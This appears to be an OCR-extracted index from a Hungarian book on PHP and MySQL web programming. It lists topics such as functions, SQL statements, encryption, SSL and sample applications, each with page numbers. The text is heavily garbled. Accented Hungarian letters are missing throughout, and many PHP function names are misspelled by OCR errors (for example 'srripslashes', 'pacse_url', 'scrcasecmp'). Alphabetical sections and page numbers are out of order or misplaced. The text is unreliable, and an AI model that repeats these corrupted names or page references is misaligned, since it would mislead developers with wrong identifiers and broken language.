vals vilgbeli objektumok modellezse (webes adatbzisok) 144 ODBC (Open Database Connecciviry) fggvnyek 190 oklevelek projekt perszonalizlt dokumentumok 544 ertekeles.php fjl 546 fjlok 544 index.html fjl 545 PDF 550 RTF 548 oktatanyagok grankonok 348 kivtelkezels 138 olvass fjlok 40, 302 futsidej hibk 382 knyvrrakbl 298 online hrlevelek 477 csatolt Uomnyok 478 fjlfeltlts 478 folyamarbrk 478 megolds ttekintse 478 online katalgusok (zleti weboldalakJ 221 hibi 222 gyenge minsg megjelens 222 informci hinya 222 ltogatottsg mrse 223 megkeressek megvlaszolsa 222 tartalom frisstse 223 jellemz hinyossgaik 223 online kosr alkalmazs a felhasznl vsrlsnak nyomon kversnek 419 a megolds ttekintse 420 fjlok 422 fizetsi rendszerek 420 kdmodulok 421 munkamenet-vltozk 419 OOP (objektumorientlt programozs) objektumok 107 osztlyok 107 tbbalaksg 108 Open Database Connectiviry (ODBC) fggvnyek 190 opendir() fggvny 299 OpenSSL konfigurlsa 624 weboldala 622 opercis rendszerek felesleges alkalmazsok kikapcsolsa 262 frisstse 262 optimalizls adatbzisok 205 alaprtelmezett rtkek hasznlata 205 indexek hasznlata 205 jogosultsgok 205 tblk 205 tervezse 205 kd 376 Zend Optimizer 377 ORDER BY mellkg 173
N,Ny
nem azonos mveleci jel 59 nem egyenl mveleci jel 59 nem_feliratkozott_listak_lekerese() fggvny 495 nem ltez fggvnyek hvsa 97 nemzetkziests (alkalmazsok) 5 Netcraft: 259 Netscape weboldal SSL 3.0 specifikci 289 stik (cookie-k) specifikcija 350 Network News Transfer Protocol (NNTP) 308 nvrelen bejelentkezs (FTP) 315 nvrerek 105 PHP 5.3 5 XML 566 new mveleti jel 27 New York Times weboldal 265 nl2br() fggvny 75 NNTP (Nerwork News Transfer Protocol) 308 NOT NULL kulcssz 157 nvels mveleci jelek 24 NULL adattpus (vltozk) 20 numerikusan indexelt tmbk elrse ciklusokkal 57 ltrehozsa 56 tartalmnak elrse 56 numerikus oszloptpusok dtum s id 162 nyelvek DDL (Data Definition Language) 165 DML (Data Manipulaeion Language) 165 nyelvi szerkezetek array() 56 die() 361 exit 361 nyilvnos kulcsok Gnu Privacy Guard (GPG) 284 titkosts 239
O,
650
Trgymutat
rklds 108 megakadlyozsa 115 megvalstsa 113 sszeads ( +) mveleti jel 23 sszehasonlts karakterlncok 80 hossznak megllaptsa 81 scrcasecmp() fggvny 80 strcmp() fggvny 80 stmatcmp() fggvny 80 sszehasonlt mveleti jelek 25 egyenl mveleti jel 25 sszehasonlt mveleti jelek WHERE mellkgak 168 sszetett rtkad mveleci jelek 24 oszlopok 157 rtkek 142 atomi oszloprtkek 145 kulcsok 142 elsdleges kulcsok 142 idegen kulcsok 14 3 osztlyok 117, 118 absztrakt (elvont) 126 talakts karakterlncokk 129 attribtumok 110 csomapont osztly 518 CSS 601 Exception 132 kiterjesztse 133 mecdusok 132 karakter (regulris kifejezsek) 84 kivtelek ltrehozsa 133 kdjnak megrsa 117 ltrehozsa l09 metdusok meghvsa 112 rklds 108 pldnyok ltrehozsa 110 tervezse 117 tpusjelzs 125 tbbalaksg 108 osztlyon belli kanscansok 124 osztlypldnyok ltrehozsa 110 oszts mveleti jel 23 tbbszrs rklds 116
mysql_dump 206 REVOKE 154 SHOW 159 traceroute (UNIX) 233 webszerver fggvnyek 304 parancssor 365 parancssori utasts-vgrehajt 255 pacse_url() fggvny 312 parseXML() metdus 586 PATH belltsok MySQL teleptsek 628 PCRE kicerjeszts 5 pdf_add_outline() fggvny 555 pdf_close() fggvny 556 pdf_csere() fggvny 551 pdHib.php fjl oklevelek projekt 544 pdf.php fjl (oklevelek projekt) 544 pdf_show_xy() fggvny 561 pdf_stringwidth() fggvny 561 PEAR (PHP Extension and Application Repository) teleptse 631 PECL (PHP Extension osztly knyvtr) 331 penztar.php fjl (onlne kosr alkalmazs) perjel 422 209
require() utasts 91 rvid stlus 14 SCRIPT stlus 14 Classes Reposicory weboldal 634 Club weboldala 634 date() fggvny 16 dtum s id 321 checkdate() fggvny 324 date() fggvny 321 fioor() fggvny 327 miktoszekundumok 329 napcrfggvnyek 329 PHP weboldal 329 szmolsok 327 Developer's Network Unilied Forums weboldala 634 Developer weboldala 634 fejlesztkrnyezetek 375 forrskd sznkiemelse szintaktika 364 fggvnyek eval() fggvny 361 fggvnynevek a kdban 372 get_current_user() fggvny 363 get_extension_funcs() 363 gedascrnod() fggvny 363 get_loaded_extensions() fggvny 363 highlighc_file() 364 ini__gec() fggvny 364 ini_sec() fggvny 364 mysqli_connecc() fggvny 382 mysqli_errno() fggvny 382 mysqli_error() fggvny 382 mysqli_query() fggvny 382 serialize() fggvny 362 show _source() fggvnyek 364 unserialize() fggvny 362 vltozk 30 fggvnyek meghvsa 16 futtatsa CGI rtelmezknt 621 modulknt 621 halad 00 funkcik 124 hlzati keresfggvnyek 310 hlzati keresfggvnyek explode() 312 gethostbyaddr() 312 gethostbyname() 311 getmxrr() 311 parse_url() 312 Homepage weboldala 634 jpeg-6b letltse 331 karakterlncok rtkelse 361 kpek automatikus ellltsa 336 azonosrk crlse 335 formturnak 332 GIF (Graphics Inteechange Format) 332 JPEG (Joint Photographic Expercs Group) 332 kimenet ksztse 335 635
(\)
perszanalizls formturnak PDF 542 PostScript 541 RTF 541 kvetelmnyek szottver 542 vizsgztatrendszer 542 oklevelek projekt 544 ertekeles.php fjl 546 fjlok 544 index.hcml file 545 PDF 550 RTF 548 tovbbfejlesztsi lehetsgek 562 PGP (Pretty Good Privacy) 283 phar kiterjeszts 5 Philip and Alex's Guide to Web Publishing weboldal PHP adacbzis-illesztsek 190 llandk (konscansok) 21 alapszint hitelests (HTTP) 271 Application Tools weboldala 634 Base Library weboldala 634 begyazsa HTML-be 13 cmkk (tag) 14 fehrkz karakterek 15 megjegyzsek hasznlata 15 utastsok 15 Center weboldala 634 cmkk (tag) 14 ASP stlus 15
p
patarnterek 16, 17 Apache, MaxClients 185 excract() fggvny 70 fggvnyparamterek 99 cm szerinti paramtertads 102 rtk szerinti paramtertads 102 fggvnyek meghvsa 96 max_connections paramter 185 rajzolfggvnyek 334 startup 628 parancsok GRANT 151 LOCK TABLES 206 mysql 150
Trgymutat
651
ltrehozsa 333 PNG (Portable Network Graphics) 332 rajzvszon ltrehozsa 333 szveg 334 tmogatsa 331 WBMP (Wireless Bitmap) 332 Kitchen weboldala 634 kdok 379 hibk 387 hibakeress vltozkban 385 MySQL-jelszavak 283 programozsi hibk 379 tulajdonos azonostsa 363 utols mdosts idpontja 363 vgrehajts lelltsa 361 konfigurlsa 624 knyvtrak 622 Magazine weboldala 633 mveleti jelek 22 aritmetikai mveleti jelek 23 bitmvdeti jelek 26 csoporrosrhatsg 29 egyoperandus mveleti jelek 23 elsbbsgi sorrend 29 rtkad mveleti jelek 20 hromoperandus mveleti jel 27 hibakezel mveleti jel 27 karakterlncokon alkalmazhat mveleti jelek 23 logikai mveleti jelek 26 new mveleti jel 27 sszehasonlt mveleti jelek 25 tpusmveleti jel 28 tmbmveleti jel 28 vgsszeg kiszntsa az rlapon 28 vgrehajt 27 vessz mveleti jel 27 nyelvi szerkezetek die() 361 exit 361 optimalzlsa 376 parancssor 365 PHP 5.3 a Zend-motor fejlesztsei 5 crypt() mkdse-ban 5 date_add() fggvny 328 date_sub() fggvny 328 dtum-/idfggvnyek-ban 5 fileinfo kiterjeszts 5 hash() mkdse-ban 5 hibajavtsok 5 hibajelents 5 id-/drumfggvnyek -ban 5 ind kiterjeszts 5 md5() mkdse-ban 5 MySQLnd driverek 5 nvterek 5 PCRE kiterjeszts 5 phar kiterjeszts 5 php.ini adminisztrlsa-ban 5 Reflection kiterjeszts 5
SPL kiterjeszts 5 sqlite3 kiterjeszts 5 j funkcii 5 Windows-tmogats 5, 628 Postnuke weboldala 634 Resource Index weboldala 634 Resource weboldala 633 SOAP knyvtrak (Amazon) 568 szerializls 362 teleptse ll, 624 binris f.jlok teleptse 621 forrs teleptse 624, 625 Windows 630 utastsok 15 vltozk azonosrk 20 rrkads 20 felhasznl ltal deklarlt 20 fggvnynevek a kdban 372 hatkr 22 szupergloblis 22 rpusai 20 rlapvltozk elrse 17 vezrlsi szerkezetek 31, 38 ciklusok 35 declare 38 feltteles utastsok 31 kiugrs-bl 37 webes forrsok 633 weboldal 370, 622 XML stlus 14 phplarchitect weboldal 633 phpautodoc weboldal 375 PHP begyazsa HTML-be 13 fehrkz karakterek 15 megjegyzsek 15 PHP cmkk (tag) 14 utastsok 15 PHPBookmark alkalmazs fjlok 393 ltrehozsa 391 fggvnyknyvtrak 393 PHPBuilder.com weboldal PHPCommunity weboldal phpdoc weboldal 375 PHP Extension and Application Repository (PEAR) teleptse 631 weboldala 633 PHPindex.com weboldal php.ini f.jl adminisztrlsa PHP 5.3-ban 5 auto_append_file 95 auto_prepend_file 95 direktvk szerkesztse 364 PHPMyAdmin.Net weboldal 544 PHPOklevel.rtf f.jl (oklevelek projekt) 544 PHPWizard.net weboldal 633 633 PHPOklevel.pdf fjl (oklevelek projekt) 634 phpinfo() fggvny 544, 306 633 633
PNG (Porrable Network Graphics) 332 knyvtr weboldala 622 pontosvessz (;) MySQL 150, 186 POP (Post Office Protocol) 308 posix_getgrgid() fggvny 303 posix_getpwuid() fggvny 302, 303 postafiok_megnyitasa() fggvny 468 Post Office Protocol (POP) 308 PostScript 541 bettpusok letltse 332 Pretty Good Privacy (PGP) 283 print() fggvny 75 printf() fggvny 76 private hozzfrs-mdost 112 privt kulcsok Gnu Privacy Guard (GPG) 284 titkosts 239 Product osztly 586 Product.php fjl (Tahuayo alkalmazs) 571 progex.php fjl 305 programhibk 255 a PHP 5.3 hibajavtsai 5 regresszls 255 programok. Lsd mg alkalmazsok futtats parancssorbl 365 telept (Apache) 629 programozsi hibk 379, 380 futsidej hibk 380 beviteli adatok ellenrzse 384 f.jlok olvassa/rsa 382 hlzati kapcsolatok 383 kapcsolds adatbzishoz 382 nem ltez fggvnyek 381 logikai hibk 384 szintaktikai 379 protokollok 307 alkalmazsrtegbeli 280 File Transfer Protocol (FTP) 313 fjlfeltlts 318 f.jlok biztonsgi mentse 313 fjlok tkrzse 313 ftp_get() fggvny 318 ftp_mdtm() fggvny 316 ftp_nlist() fggvny 318 ftp_size() fggvny 318 idtllpsek megelzse 318 nvtelen bejelentkezs 315 set_time_limit() fggvny 318 FTP (File Transfer Protocol) 42 HTTP (Hyperrext Transfer Protocol) 280 fjlok megnyitsa 42 kzfogs (handshaking) 280 Secure Sockets Layer (SSL) 280 IMAP (Internet Message Access Protocol) 308 IP (Internet Protocol) 280 NNTP (Network News Transfer Protocol) 308 POP (Post Office Protocol) 308 RFC (Requests for Comments) 307
652
Trgymurat
SMTP (Simple Maii Transfer Protocol) 308,451 TCP (Transmission Control Protocol) 280 vermek 280 prototpusok fggvnyek 96 kd 375 public hozzfrs-mdost 112 putenv() fggvny 306 PX-PHP Code Exchange weboldal 633
rename() fggvny 304 rendeles_beszurasa() fggvny 440 rendelsi rlapok feldolgozsa 13 ltrehozsa 12 rendezs karakterlncok strcasecmp() fggvny 80 strcmp() fggvny 80 strnatcmp() fggvny 80 rendszerek biztonsgos tranzakcik 279 kapacitsbeli korltok (zleti weboldalak) 229 opercis 198 REPLICATION CLIENT jogosultsg 153 REPLICATION SLAVE jogosultsg 153 replikci adatbzisok 206 slave szerverek 206 Requests for Commems (RFC) 307 require() utasts 90 auto_append_file (php.ini fjl) 95 auto_prepend_file (php.ini f:ijl) 95 fjlnvkiterjesztsek 91 PHP cmkk (tag) 91 weboldalsablonok 91 REST /XML (Amazon) 585,591 rszsztringek cserje 83,88 elrse 80 keresse 81 keress s csere 83 strchr() fggvny 82 stristr() fggvny 82 strpos() fggvny 82 strrchr() fggvny 82 strrpos() fggvny 82,83 strstr() fggvny 82 szmszer pozci 82 rerum kulcssz 103 reverse spam 234 REVOKE parancs 154 rewinddir() fggvny 300 RFC (Requests for Comments) 307 RFC Editor weboldal 319,320 RGB (vrs,zld s kk) 334 Rich Text formtum (RTF) 541 rmdir() fggvny 302 r+ megnyitsi md 41 rosszindulat kd befecskendezse 247 rvid stlus (PHP cmkk) 14 rvid stlus rlapvltoz 17 rtf.php fjlok 544 RTF (Rich Text Format) 541 sablonok ltrehozsa 542 rtrim() fggvny 75
sajat_hibakezelo() fggvny 389 SCRIPT stlus (PHP cmkk) 14 SearchDatabase.com weboldal (S-HTTP) 279 segdalkalmazsok myisamchk 204 SELECT jogosultsgok 153 SELECT mellkgak 174 SELECT utastsok 167 smk Book-O-Rama alkalmazs 149 serialize() fggvny 362 session_set_cookie_params() fggvny 350 session_unregister() fggvny 352 set_error_handler() fggvny 389 set_time_limit() fggvny 318 SET tipus 163 settype() fggvny 30 SGML (Standard Generalized Markup Language) 564 sha1() fggvny 269 shell szkript stlus megjegyzsek 15 showCart() fggvny 597 SHOW COLUMNS utasts 200 SHOW DATABASES utasts 199 ShowSmallCart() fggvny 576 show_source() fggvny 364 SHOW TABLES utasts 200 SHOW utasts 199 S-HTTP (Secure Hypertext Transfer Protocol) 279 Simple Maii Transfer Protocol (SMTP) 308,451 skalris vltozk 55 Slasbdot weboldal 265,517 slave szerverek adatbzis replikci 206 replikci 207 SMTP (Simple Maii Transfer Protocol) 308,451 SOAP (Simple Object Access Protocol) 564 Amazon 563 knyvtrak 567 PHP SOAP knyvtrak (Amazon) 568 sorok rtkek 142 visszaadsa 175 SourceForge weboldal 375, 634 spam 234 SPL kiterjeszts 5 sprintf() fggvny 76 sqlite3 kiterjeszts 5 SQL (Structured Query Language) 165 adatbzisok 167 meghatrozsa 165 Book-O-Rama adatbzis ltrehozsa 165 tblkat feltlt kd 166 Course weboldala 634 DDL (Data Definition Language) 165 634 Secure Hypertext Transfer Protocol
R
RAl D (Redundant Array of lnexpensive Disks) 242 rajzols fggvnyek 334 kpek,kdok 333 szveg 334 rajzvszon 338 kpek ltrehozsa 333 range() fggvny 56 RDBMS (relcis adatbzis-kezel rendszerek) 165 Redundant Array of lnexpensive Disks (RAID) 242 redunds adatok elkerlse ( webes adatbzisok) 144 Reflection API 129 Relleeeion kiterjeszts 5 regisztracios_urlap_megjelenitese() fggvny 397 regisztracios_urlap.php fjl (PHPBookmark alkalmazs) 393 regisztracio_uj.php fjl (PHPBookmark alkalmazs) 393 regisztral() fggvny 400 regresszls 255 regulris kifejezsek 83 karakterek kszletek 84 osztlyok 84 Perl 83 rekordok tblk 142 rekurzv fggvnyek 104 relcis adatbzisok 141,143 elnyei 141 kapcsolatok egy a sokhoz pus kapcsolatok 143 egy az egyhez pus kapcsolatok 143 sok a sokhoz pus kapcsolatok 143 kulcsok 142 elsdleges kulcsok 142 idegen kulcsok 143 smk 143 tblk 141 rtkek 142 oszlopok 142 sorok 142 relatv elrsi tvonalak 41
S,Sz
sablonok weboldalak 91
Trgymutat
653
DML (Data Manipulaeion Language) 165 karakterlncok biztonsga 252 RDBMS (relcis adatbzis-kezel rendszerek) 165 webes forrsok 634 SSL (Secure Sockets Layer) 233,279, 621 adatok kldse 281 kzfogs (handshaking) 280 protokollvermek 280 tesztelse 627 tmrts 281 zleti weboldalak 225 starrup paramterek 628 statikus ktsek 125 statikus metdusok ltrehozsa 124 stluslapok CSS 601 stratgik zleti weboldalak 229 strcasecmp() fggvny 80 strchr() fggvny 82 strcmp() fggvny 80 srripslashes() fggvny 78,184, 199, 282 strip_tags() fggvny 282 stristr() fggvny 82 strlen() fggvny 81 srrnatcmp() fggvny 80 Srronghold weboldal 241 strpos() fggvny 82 strrchr() fggvny 82 str_replace() fggvny 83,550 strrpos() fggvny 83 srrstr() fggvny 82, 412 strtok() fggvny 79 strtolower() fggvny 77 strtoupper() fggvny 77 struktrk knyvtr 373 substrO fggvny 80 Summary weboldal 223 switch utastsok 33 system() fggvny 305 szmszer pozci keresse karakterlncokban 82 szavazas_beallitasa.sql fjl 342 szemlyre szabott tartalom megjelentse alkotelemek 391 felhasznli nevek 392 felhasznJk 391 felhasznli nevek 392 jelszavak 392 knyvjelzk 392 jelszavak 392 knyvjelzk ajnlsa 392 szerializls 362 szerverek biztonsgos trolsa 282 biztonsgos webszerverek 240 hitelests 238 szervezs
kd 253 sznek gombok 338 RGB (vrs, zld s kk) 334 szveg 336 sznkiemels forrskd 364 szintakcika 379 DESCRIBE utasts 201 forrskd sznkiemelse 364 hibk 379 szaftver fejleszts 369 frisstse 256 hibk 228, 235 fejlesztk hibs felttelezsei 235 nem megfelel tesztels 235 pontatlan specifikcik 235 perszanalizlt dokumentumok 542 RTF 542 szolgltatsmegtagadssal jr tmads (DoS) 234,262 szolgltatsok rtkestse 226 hozzadsa 308 rendelsek fogadsa 223 tbbletrtk hozzadsa 226 szorzs mveleti jel 23 szveg egyszer szveg (titkosts) 238 lsimtsa 334 gombok sznek/bettpusok 336 illesztse gombokra 339 kpek ltrehozsa 336 megnyitsa fopen() fggvny 41 rajzolsa vagy rsa kpekre 334 titkostott szveg (titkosts) 238 szveges fjlok 39 beolvassa 40 rsa 40 megnyitsa 40 megnyitsi mdok 40 szveg illesztse gombokra 339 szl csompontok (webes frum fasrruktrja) 518 sznetmentes tpegysg (UPS) 243 szupergloblis vltozk 22 szrs beviteli adatok (webes adatbzisok) 184 felhasznli bevitel 249
csv 210
db 194 grant 194 hatkrmezk 195 host 194 ideiglenes 177 InnoDB 210 kls kulcsok 211 tranzakcik 210 kulcsok 142 elsdleges kulcsok 142 megvltoztatsa 177 MEMORY 209 MERGE 209 MyiSAM 209 oszlopok 142 DESCRIBE utasts 201 smk 143 sorok 142 rtkek 142 tables_ptiv 194 trlse 179 user 194 tagols kd 32,373 tag.php fjl (PHPBookmark alkalmazs) 393 tanst szervezetek (CA) 240 tanstvny-alrsi krelem (CSR) 241 trhelyszolgltats 258 trols adatok. Lsd mg fjlok 39 biztonsgos 282 jelszavak 198,267 karakterlncok 78 addslashes() fggvny 78 stripslashes() fggvny 78 redundns adatok (webes adatbzisok) 144 trolmotorok 209 ARCHIVE tblk 210
T
t11ib letltse 332 tblk adatbzisok biztonsgi ments 206 optimalizlsa 205
654
Trgymutat
biztonsg 233 TCP (Transmission Control Protocol) 280 telepts Apache Windows alatt 629 binris fjlok 622 forrs teleptse 622 GPG (Gnu Privacy Guard) 283 MIME levelezcsomag 631 mod_auch_mysql modul 275 MySQL 628 PEAR (PHP Extension and Application Repository) 631 PHP ll, 624, 625 telept (Apache) 629 terenkek (zleti weboldalak) digitlis termkek rtkestse 226 rendelsek fogadsa 223 tbbletrtk hozzadsa 226 cerenkek vagy szolgltatsok megrendelse (zleti weboldalak) 223 bizalom 225 felhasznli felletek 225 kompatibilits 226 megvlaszoladan krdsek 224 termszetes rendezs weboldal 81 tesztels GPG (Gnu Privacy Guard) 285 karakterlncok hossza 81 kd 377 mod_auth_mysql modul 275 PHP teleptsek 631 PHP tmogats 626 regresszls 255 SSL 627 cecelek_szamolasa() fggvny 436 TEXT tpus 162 Thawce weboldal 236, 240 throw mellkg 133 TIFF knyvtr weboldala 622 tpus jelzs 125 konverzis specifilcicik tpuskdjai 77 tpusmveleci jel 28 tpusknyszerts (vltozk) 21 titkosrs (kriptogrfia) 238 titkosts 238, 283 adatok 282 algoritmus 238 Data Encryption Standard (DES) 239 digitlis alrsok 239 digitlis tanstvnyok 240 egyszer szveg 238 GPG (Gnu Privacy Guard) 283 kulcsprok 284 telepts 283 tesztelse 285 hash fggvnyek 240 jelszavak 198, 269 nyilvnos kulcsok 239 PGP (Pretty Good Privacy) 283
privt kulcsok 239 titkosrs (kripcogrlia) 238 titkostott szveg 238 titkostott szveg (titkosts) 238 t megnyitsi md 41 tbbalaksg 108 tbbdimenzis tmbk 55 hromdimenzis tmbk 61 ktdimenzis tmbk 59 rendezse 63 felhasznl ltal meghatrozott rendezsek 63 forditott rendezs 64 tbb programoz 374 tbbsoros megjegyzsek 16 tbbszri felhasznls, kd elnyei 89 egysgessg 90 kltsg 89 megbzhatsg 89 include() utasts 90, 95 require() utasts 90, 95 auro_prepend_file (php.ini fjl) 95 fjlnvkitetjeszcsek 91 PHP cmkk (tag) 91 weboldalsablonok 91 tbbszrs definils fggvnyek 99 mecdusok 126 tbbszrs rklds 116 tmbk 55 asszociatv 57 befoglal keretek tartalma 340 elemek 56 indexek 56 kzepes stlus rlapvltoz 18 mveleci jelek 23, 59 numetikusan indexele tmbk bejrsa ciklusokkal 57 ltrehozsa 56 eartalom elrse 56 szupergloblis 18 bejrsa ciklusokkal 58 each() fggvny 58 ltrehozsa 57 list() fggvny 58 tartalom elrse 57 tbbdimenzis 55 tmrts SSL (Secure Sockets Layer) 281 topbar.php fjl 571 trls adatbzisok 179 couch() fggvny 304 tovbbfejlesztsi lehetsgek perszanalizlt dokumentumok 562 webes frum 538 craceroute parancs (UNIX) 233 tranzakcik 210 ACID-kompatibilis 210 aucocommit md 210 biztonsgos cranzakcik 277
biztonsgos trols 282 felhasznli bevitel szrse 282 felhasznlk szmtgpei 278 Incemet 278 rendszerek 279 Secure Sockets Layer (SSL) 280 webes bngszk 278 InnoDB tblk 210 meghatrozsa 210 vglegestett 210 visszagrgetett 211 trim() fggvny 75, 184 T ripwire weboldal 234 TrueType bettpusok 336 try blokkok (kivtelkezels) 131 tkrzs fjlok FTP fggvnyek 313 bejelentkezsek 316 frissts idpontjnak ellenrzse 316 kapcsolatok boncsa 318 leeltsek 317 tvoli kapcsolatok 315 RAID (Redundanc tmb of Inexpensive Disks) 242 rulajdonos (kdok) azonostsa 363 rulajdonsgok fjlrulajdonsgok megvltoztatsa 304
U,
ucfirsc() fggvny 77 ucwords() fggvny 77 uj_hozzaszolas.php fjl webes frum 519 uj_hozzaszolas_carolasa() fggvny 536 uj_hozzaszolas_tarolasa.php fjl (webes frum) 519 uj_konyvek.txt 209 ujKonyvjelzoHozzaadasa()fggvny 611 j szofrververzik belltsa 257 j szofrververzik iizembe helyezse 257 umask() fggvny 302 uni mveleti jel 59 Unix binris fjlok teleptse 622 date() fggvny 322 forrs teleptse 624, 625 httpd.conf fjl 626 PHP tesztelse 626 SSL tesztelse 627 traceroute parancs 233 UNIX_TIMESTAMP() fggvny 326 unlink() fggvny 304 unserialize() fggvny 362 UN SIGNED kulcssz 157 UPDATE jogosultsg 153 UPS (sznetmentes tpegysg) 243 UPS weboldal 226
Trgymutat
655
url_ajanlo() fggvny 417 rlapok Bob autalkatrszek alkalmazs vgsszeg kiszmtsa mveleti jelekkel 28 Bob autalkatrszek alkalmazs 12, 13 feldolgozsa 13 ltrehozsa 12 vltozk elrse 17 rlapok HTML 182,293 urlencode() fggvny 270, 310 url_fuggvenyek.php fjl { PHPBookmark alkalmazs) 393 USAGE jogosultsg 154 user tblk 194 utastsok ALTER TABLE 177 break utasts 38 continue utasts 38 DELETE 179 DESCRIBE 201 describe user; 194 DROP TABLE 179 elfordtott 189 else utastsok 32 else if utastsok 33 EXPLAIN GRANT 200, 201 if utastsok 32 include() utasts 90 auto_append_file {php.ini fjl) 95 auto_prepend_file {php.ini fjl) 95 INSERT 165 kis- s nagybet klnbsge MySQL-ben
audcls 241 biztonsgi hzirendek ltrehozsa 236 biztonsgos webszerverek 240 dgitlis alrsok 239 dgitlis tanstvnyok 240 fenyegetsek 232
hatkr 22 szupergloblis 22 tpusai 20 adattpusok 20 vltoz vltozk 21 tpuserssg 20 tpusknyszerts 21 rlapvltozk 17 vltozk fggvnyvltozk 99 globlis vltozk 101 helyi vltozk l O l hibakeress 385 krnyezeti fggvnyek 306 munkamenecek 349 crlse 351 skalris vltozk 55 tmbk 55 asszociatv tmbk 57 elemek 56 indexek 56 mveleti jelek 59 numerikusan indexelt tmbk tartalmnak elrse 56 tbbdmenzis tmbk 59 trlse 351 valtozok_kiiratasa.php fjl 385 vsrls nyomon kvetse {online kosr alkalmazs) 419 vasarlas.php fjl {online kosr alkalmazs)
422
vdkarakterek 78 vglegestett tranzakcik 210 vgrehajts parancssor 365 vgrehajts lelltsa {kdok) 361 vgrehajt mveleti jel 27,255 VeriSign weboldal 236 VeriSignweboldal 240 verzikvers {code) CV S { Concurrent Versions System) 374 tbb programoz 374 verzikvers {kd) 374 CVS {Concurrent Versions System) 374 trol 374 tbb programoz 374 vessz {mveleti jel) 27 vezrlsi szerkezetek 31,38 ciklusok 35 declare 38 feltteles utastsok 31 Iciugrs -bl 37 trolt eljrsok 214 visszaads rtkek 103 visszagrgetett rranzakcik 211 visszakvets {fggvnyek) 133 visszatrs fggvnyekbl 103 visszatrsi rtkek 63
150
LOAD_DATA_INFILE 209 PHP utastsok 15 switch utastsok 33 sszekapcsols tpusai 203 oszloprtkek 204 require() utasts 90 auto_append_file {php.ini fjl) 95 auto_prepend_file {php.ini fjl) 95 fjlnvkiterjesztsek 91 PHP cmkk {tag) 91 weboldalsablonok 91 rerum kulcssz 103 SELECT 167 SHOW 199 SHOW COLUMNS 200 SHOWDATABASES 199 SHOWTABLES 200 utlagos cskkents mveleti jel 24 utlagos nvels mveleti jel 24 uzenet_kuldese() fggvny 474 uzenet_megjelenitese() fggvny 470 uzenet_torlese() fggvny 473 uzenec_visszakeresese() fggvny 470 zleti weboldalak 219, 221 adatvdelmi nyilatkozat 225 a trole informci fontossga 231 biztonsg 231 adatok biztonsgi mencse 242
v
VAGY mveleti jel 26 vals vilgbeli objektumok modellezse {webes adatbzisok) 144 vltozk 19,21,100 azonosrk 20 rtkek hozzrendelse 20 felhasznl ltal deklarlt vltozk 20 fggvnyek 30 llapotnak ellenrzse 31 tpusbelltsi-ellenrzs 30
656
Trgymutat
fasttuktra 518 megolds alkotelemei 517 megolds ttekintse 518 WebMonkey.com weboldal weboldalak Adobe Acrobat 543 Adobe,FDF 551 AMANDA (Advanced Maryland Autamated Necwork Disk Archiver) 242 Analog 223 ANSI-szabvny 179 Apache 622 Apache Sofrware 634 Apache Today 635 Apache Week 634 Base Libraty 634 BUGTRAQ archvumok 297 CGI-specifikci 306 Codewalkers 634 CV S (Concurrent Versions System) 374, 378 Devshed 348, 633 EPA 243 Evil Walrus 634 Extreme Programming 378 FDF 551 Fedex 226 FishCartSQL 450 FPDF fggvnyknyvtr 543 GD dokumentci 348 GNU Privacy Guard 283 hitelests 270 hitelests dokumentcija 276 HotScripts.com 634 IMAP c kliens 622 JPEG (Joint Phocographic Experts Group) 332 JPEG knyvtr 622 MySQL 149,208,622 dtum- s idfggvnyek 329 online kziknyv 164 Netscape SSL 3.0 specifikci 289 stik (cookie-k) specifikcija 350 New York Times 265 OpenSSL 622 PEAR (PHP Extension and Application Repository) 633 PECL 633 Philip and Alex's Guide to Web Publishing 635 PHP 370,622 Application Tools 634 Center 634 Classes Repository 634 Club 634 Developer 634 Developer's Network Unilied Forums 634 Homepage 634 Kitchen 634 634
Magazine 633 naptrfggvnyek 329 Resource 633 Resource Index 634 phplarchicect 633 phpauradoc 375 PHPBuilder.com 633 PHPCommunity 633 phpdoc 375 PHPindex.com 634 PHPMyAdmin.Net 633 PHPWizard.net 633 PNG knyvtr 622 PNG (Porcable Necwork Graphics) 332 Poscnuke 634 PX-PHP Code Exchange 633 RFC Edtor 319,320 sablonok 91 SearchDatabase.com 634 Slashdot 265, 517 SourceForge 375,634 SQL Course 634 Srronghold 241 Summary 223 szolglcatsok hozzadsa 308 termszetes rendezs 81 Thawte 236,240 TIFF knyvtr 622 Tripwire 234 UPS 226 VeriSign 236,240 W3C 564 Webalizet 223 WeberDev.com 633 WebMonkey.com 634 Zend 348 Zend.Com 633 zlib knyvtr 622 Web Services. Lsd mg SOAP felletek (Amazon) 567 webszerverek Apache. Lsd Apache webszerver hitelestse 238 biztonsgos trols 282 biztonsgos webszerverek 240 fjlfelelts 295 Microsoft IlS konfigurlsa 258 parancsok 304 webes adatbzis architektrja 147 W HERE mellkg 168 sszehasonlic mveleti jelek 168 while ciklusok 36 W indows Apache 629 MySQL 628 PHP 630 Apache-konfigurcik 631 tesztels 631 tmogats 5,628 W ireless Bitmap (WBMP) 332 w megnyitsi md 41 w+ megnyitsi md 41
w
W3C weboldal 564 Warm Maii alkalmazs (e-mail kliens) fjlok 453 fellet 452 !MAP fggvnyknyvtr 451 megolds ttekintse 452 megoldsok komponensek 451 WBMP (Wireless Bitmap) 332 Webalizet weboldal 223 WeberDev.com weboldal webes adatbzisok 144 architektrja 181 lekrdezse 184 adatbzisok kivlasztsa 185 adatok hozzadsa 187 beviteli adatok 184 elfordtott utastsok 189 eredmnyek visszakeresse 186 kapcsolat belltsa 185 kapcsolat bontsa adatbzisokkal 187 mysqli_query() fggvny 185 tervezse 144 vals vilgbeli objektumok modellezse 144 webes alkalmazsok projehjei dokumentci 375 fejlesztkrnyezet 375 kezelhet kd rsa 371 darabokra bonts 373 elnevezsi szoksok 371 fiiggvnyknyvtrak 374 knyvtrstruktrk 373 megjegyzsek hasznlata 372 programozsi szablyok 371 tagolsa 373 kd tesztelse 377 kd tbbszri felhasznlsa 370 logika 376 megvalstsa 370 mkdsi logika 376 prototpusok 375 szaftverfejleszts 369 tervezse 370 verzikvers 374 webes bngszk biztonsgos tranzakcik 278 hitelests 237 webes fejleszts webes forrsok Apache 634 MySQL s SQL 634 PHP 633 webfejleszts 635 webes frum 517 csomaponc osztly 518 fjlok 519 635 633,634 633
Trgymutat
657
x
XHTML (Extensible Hypertext Markup Language) 601 x megnyitsi md 41 x+ megnyitsi md 41 XML (Extensible Markup L anguage) 563, 602 cmkk (zr s nyit) 565 DT D (Document Type Delinition) 565 rtelmezse (Amazon) 568
gykrelemek 566 meghatrozsa 564 nvterek 566 plda 564 SGML (Standard Generalized Markup Language) 564 stlusok 14 XML HT T PRrequest objektum 603 XSLT (XSL Transformations) 602 XSS (Cross Site Scripting) tmadsok 247
z
